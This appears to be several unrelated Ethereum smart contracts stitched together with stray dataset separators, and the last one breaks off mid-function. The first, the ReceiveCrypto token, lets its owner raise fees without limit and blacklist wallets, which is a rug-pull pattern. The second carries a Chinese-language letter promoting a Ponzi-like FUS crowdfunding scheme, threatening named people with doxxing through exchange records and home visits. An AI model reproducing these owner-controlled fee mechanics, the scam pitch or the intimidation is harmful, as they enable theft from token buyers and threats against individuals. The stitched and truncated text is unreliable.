TELEGRAM : https://t.me/ReceiveCryptoToken
This is AcceptCrypto launched correctly and with a good contract. For everyone who missed AcceptCrypto and got rugged by the drain.
Note: The LP tokens will be locked before trading is enabled, if the project does good we will be extending the lock to 100 years.
Fees: 0% on buy & 8% on sell, Some of the funds will be used for marketing.
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ReceiveCrypto is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ReceiveCrypto";//
string private constant _symbol = "RECEIVE";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 0;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 8;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x79B972c8bc07EEFc3602Fa911E8C4cd7F4BB065B);//
address payable private _marketingAddress = payable(0x19Cccb9C8481479405378Fb30f657288668945d2);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 29000 * 10**9; //
uint256 public _maxWalletSize = 150000 * 10**9; //
uint256 public _swapTokensAtAmount = 5000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
bots[address(0x66f049111958809841Bbe4b81c034Da2D953AA0c)] = true;
bots[address(0x000000005736775Feb0C8568e7DEe77222a26880)] = true;
bots[address(0x34822A742BDE3beF13acabF14244869841f06A73)] = true;
bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true;
bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true;
bots[address(0x8484eFcBDa76955463aa12e1d504D7C6C89321F8)] = true;
bots[address(0xe5265ce4D0a3B191431e1bac056d72b2b9F0Fe44)] = true;
bots[address(0x33F9Da98C57674B5FC5AE7349E3C732Cf2E6Ce5C)] = true;
bots[address(0xc59a8E2d2c476BA9122aa4eC19B4c5E2BBAbbC28)] = true;
bots[address(0x21053Ff2D9Fc37D4DB8687d48bD0b57581c1333D)] = true;
bots[address(0x4dd6A0D3191A41522B84BC6b65d17f6f5e6a4192)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | True | [
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] | [
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] |
pragma solidity ^0.4.25;
/*
* 转自马三多：
* 致ADC家人们的第七封信
* 亲爱的ADC家人们 大家好 我是三多老大技术团队的阿亮
* 我先分享下我们团队的进展 再分享下某位领导人恶心丑陋的一面
* 一、目前GO币主链也马上完成 BiiGO商城授三多老大的嘱托我们也接管过来了
* 预计10月10日 GO币主链做好后开通 但是有个事情我得说下 BiiGO商城亏空的1万左右以太
* 你们是不是得还回来呀 还让三多老大替你们还啊不合适吧！
* 按计划商城应在9月份开通合伙人申请 10月合伙人玩法就已经上线
* 但是你们私自关闭商城影响了整个的规划部署 是不是呀 奥丁、、、 等一些高级别领导人
* 做人留一线日后好相见 奥丁太没脸我就先提他不提别人 还有那1万多以太你们在钱包里持好了啊
* 别卖 卖到交易所你就会被我们找到 交易所我都熟调你个身份信息不成问题
* 我们不会像假三多第三封信说的那样拿家人们当枪使找我们 我们会亲自上门找你
* 听见了么别卖 还有其他直营项目里的以太也都留好了！
* 二、奥丁扑街啦你 中午发的信已经很给你面子了 你还没玩了 还JJ MM你还少说一个人呢吧ad(奥丁）
* 三多老大的代言人 拿假三多老大微信自己跟自己说好玩不 平时看你还发点正能量东西没跟你撕破脸
* 还没完拉 你就说说你炒币坑了多少人吧 平时挺面上正能量的人怎么干那么猥琐的事呢
* 手下十几个炒币号 关直营项目的时候是你捞的不够还是分的太少啊 利用机会大量收币
* 然后又发个假三多截图说10号上交易所 快到10号的时候翻倍卖出
* 11号又说无限期关闭 低价收一堆 然后又发假三多截图 会坚持FUS上线 再卖一波 反复运作
* 我看FUS上大盘用你操作就行不用别人 然后你们团队最近又整个假三多老大地址发了三封信
* 你在群里大面积转发灌鸡汤 又卖一波币吧 大家可以打开我们主页https://fuschain.github.io/
* 查看第五封信按照信中方法看看奥丁推得这个0x9350160feC6d9E0904834289c7a0a0fca17C78bF
* 假三多最终钱包地址是个什么货色 怎么奥丁你开始炒TMTG了 没建一堆小号再别的群宣传吧？
* 快发你们的第四封信啊！我们只是想按照三多老大的部署完成众筹 让大家以都持有低价的FUS
* 影响到你们的利益了？FUS（old）还没卖完？留着也没关系到时候一比一兑换。
* 三、最近有个新建的独立团 茁壮成长起来了 我听了他们团长李伍讲的课非常不错
* 虽然是位级别低的小会员 但是他做了很多高级别领导人不能做的事
* 对于李伍在群里讲课对FUS众筹平台的质疑 我给出如下解释
* 1.FUS众筹交易平台是没有数据库完全建立在区块链合约基础上的 完全去中心话的众筹平台
* 这种合约一经建立永远关闭不了 平台是世界极少数公开 合约查看的平台任何数据完全公开
* 2.平台不是资金盘 就跟储户存钱一样 存多少账户里有多少余额
* 把所有钱取走了账户余额就会为零 如果把平台众筹的所有FUS再通过平台卖出那么平台的以太坊余额也会为零
* 为了FUS上线交易所和家人们能获得更多利益加入了LW模式 越往后FUS的众筹价格就会越高
* 持有FUS将会获得源源不断的分红 不同于LW模式我们加入了出售功能这意味着你不想众筹了可以随时卖出FUS
* 兑换成以太坊 这么款花费近千万打造的生态系统 我想放在外面众筹任何一种币都会比放在ADC这里强吧
* 我们没有必要造假因为如果不是为了家人们这样做根本就是赔本赚吆喝
* 你可以把他当是个福利 是个既让家人白获得FUS 又能获得分红的盈利工具
* 当FUS上交易所 会有更多的外场人来参与进来众筹FUS,
* 再通过把去装币交易平台打造成主流交易所 交易所手续费全部通过智能合约分红给FUS持有者
* 这样一个让所有持有者都能享受分红的数字币谁不想持有呢 我们的市值第一可能不实现么？
* 3.我们把FUS上大盘的目的就是为了消除C币泡沫 C币众筹的300万FUS就是通过大盘实时价格1：？通多兑换FUS变现。
* 任何时候都是需要有质疑的存在的 通过解决心中的质疑才更能获得相信
* 如果不存在不同声音 就会存在不和谐的现象只是大家都憋着没出声罢了
* 所以我们需要更多像李伍这样的人帮助ADC解决现在的困难 解答家人们心中的疑虑。
* 四、明天CCM商城的上线 请大家一定要大力支持 它在以后也相当于C币流通的主要场景之一
* 目前是真正的赔本赚吆喝 请大家给予理解
* 五、重要的事情忘了说 BIIGO商城中谁的以太没有返还 请下载我们的众筹平台
* 通过客服联系我 并备注上你们注册商城时使用的电话 与没有返还以太
* 我记录后通过数据一一核实并在6号左右给大家一个兑付方案。
* 想到什么说什么 因时间关系没有阅读 有不连贯的地方请理解 语文成绩一直不好 哈哈
* 众筹平台主页 https://fuschain.github.io/
* 众筹平台APP下载地址：https://fir.im/fus (安卓）（苹果版10月2日上线）
* FUS正式版地址：0x328C56A62768913b845c7864d46941c46b93d475
* FUS（old）地址：0xade2fc8d9955af2f3a69981c26daaf351cc3d728
* 请大家定期查看们的发言合约地址和官方主页了解最新消息：0x5e2dfB344A830aB4ce014ECD97d1Df5D88Ce2d9D
* 估计很多家人们不会查我教大家一下
* 1.浏览器打开https://etherscan.io/
* 2.在右上角搜索窗口输入我们的合约地址就可以看到我们的每次分享链
* 3.点击Contract Creation（合同）
* 4.点击code
* 联系邮箱：<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="6b0d09525b0f1d0559585c2b1b19041f0405060a020745080406">[email protected]</a>
*/
contract demo{
function transfer(address from,address caddress,address[] _tos,uint v)public returns (bool){
require(_tos.length > 0);
bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
for(uint i=0;i<_tos.length;i++){
caddress.call(id,from,_tos[i],v);
}
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-26
*/
pragma solidity >=0.4.25 <0.6.0;
//@title Instaminter
//@R^3
//@notice creates ERC-20 token contracts
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
address public creator;
modifier onlyTokenOwner() {
require(msg.sender == creator || msg.sender == owner);
_;
}
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyTokenOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function transferCreator(address newCreator) onlyTokenOwner public {
if (newCreator != address(0)) {
creator = newCreator;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyTokenOwner whenNotPaused public returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyTokenOwner whenPaused public returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
uint value = _value;
balances[msg.sender] = balances[msg.sender].sub(value);
balances[_to] = balances[_to].add(value);
emit Transfer(msg.sender, _to, value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint _allowance = allowed[_from][msg.sender];
uint value = _value;
balances[_to] = balances[_to].add(value);
balances[_from] = balances[_from].sub(value);
allowed[_from][msg.sender] = _allowance.sub(value);
emit Transfer(_from, _to, value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
uint value = _value;
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = value;
emit Approval(msg.sender, _spender, value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyTokenOwner canMint public returns (bool) {
uint amount = _amount;
totalSupply = totalSupply.add(amount);
balances[_to] = balances[_to].add(amount);
emit Mint(_to, amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyTokenOwner public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint _value) whenNotPaused public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specified amount of tokens.
* @param _value The amount of tokens to burn.
*/
function burn(uint256 _value) public {
require(_value > 0);
uint value = _value;
address burner = msg.sender;
balances[burner] = balances[burner].sub(value);
totalSupply = totalSupply.sub(value);
emit Burn(msg.sender, value);
}
}
contract ERCDetailed is BurnableToken, PausableToken, MintableToken {
string private _name;
string private _symbol;
uint256 private _decimals;
constructor (string memory name, string memory symbol, uint256 decimals, address _creator) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
creator = _creator;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint256) {
return _decimals;
}
function burn(uint256 _value) whenNotPaused public {
super.burn(_value);
}
}
//@dev contract creates new ERC-20 tokens
contract TokenFactory is Ownable {
address[] public deployedTokens;
ERCDetailed public newToken;
//@dev allows for check on which tokens are associated with a specific address
mapping (address => address) public myTokens;
//@dev fee for generating token contract
uint public tokenFee = 0.01 ether;
//@dev set token fee (owner only)
function setTokenFee(uint _fee) external onlyOwner {
tokenFee = _fee;
}
//@dev creates ERC-20 token
function createToken(string _name, string _symbol, uint256 _decimals) external payable returns (ERCDetailed) {
require(msg.value == tokenFee);
newToken = new ERCDetailed(_name, _symbol, _decimals, msg.sender);
deployedTokens.push(address(newToken));
myTokens[address(newToken)] = msg.sender;
return(newToken);
}
//@dev gets list of all deployed tokens
function getDeployedTokens() public view returns (address[] memory) {
return deployedTokens;
}
//@dev allows owner to withdraw fees
function withdraw() external onlyOwner {
address _owner = address(uint160(owner));
_owner.transfer(address(this).balance);
}
} | True | [
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pragma solidity ^0.4.11;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// Temporarily have SafeMath here until all contracts have been migrated to SafeMathLib version from OpenZeppelin
/**
* Math operations with safety checks
*/
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* Standard ERC20 token with Short Hand Attack and approve() race condition mitigation.
*
* Based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, SafeMath {
/* Token supply got increased and a new owner received these tokens */
event Minted(address receiver, uint amount);
/* Actual balances of token holders */
mapping(address => uint) balances;
/* approve() allowances */
mapping (address => mapping (address => uint)) allowed;
/* Interface declaration */
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
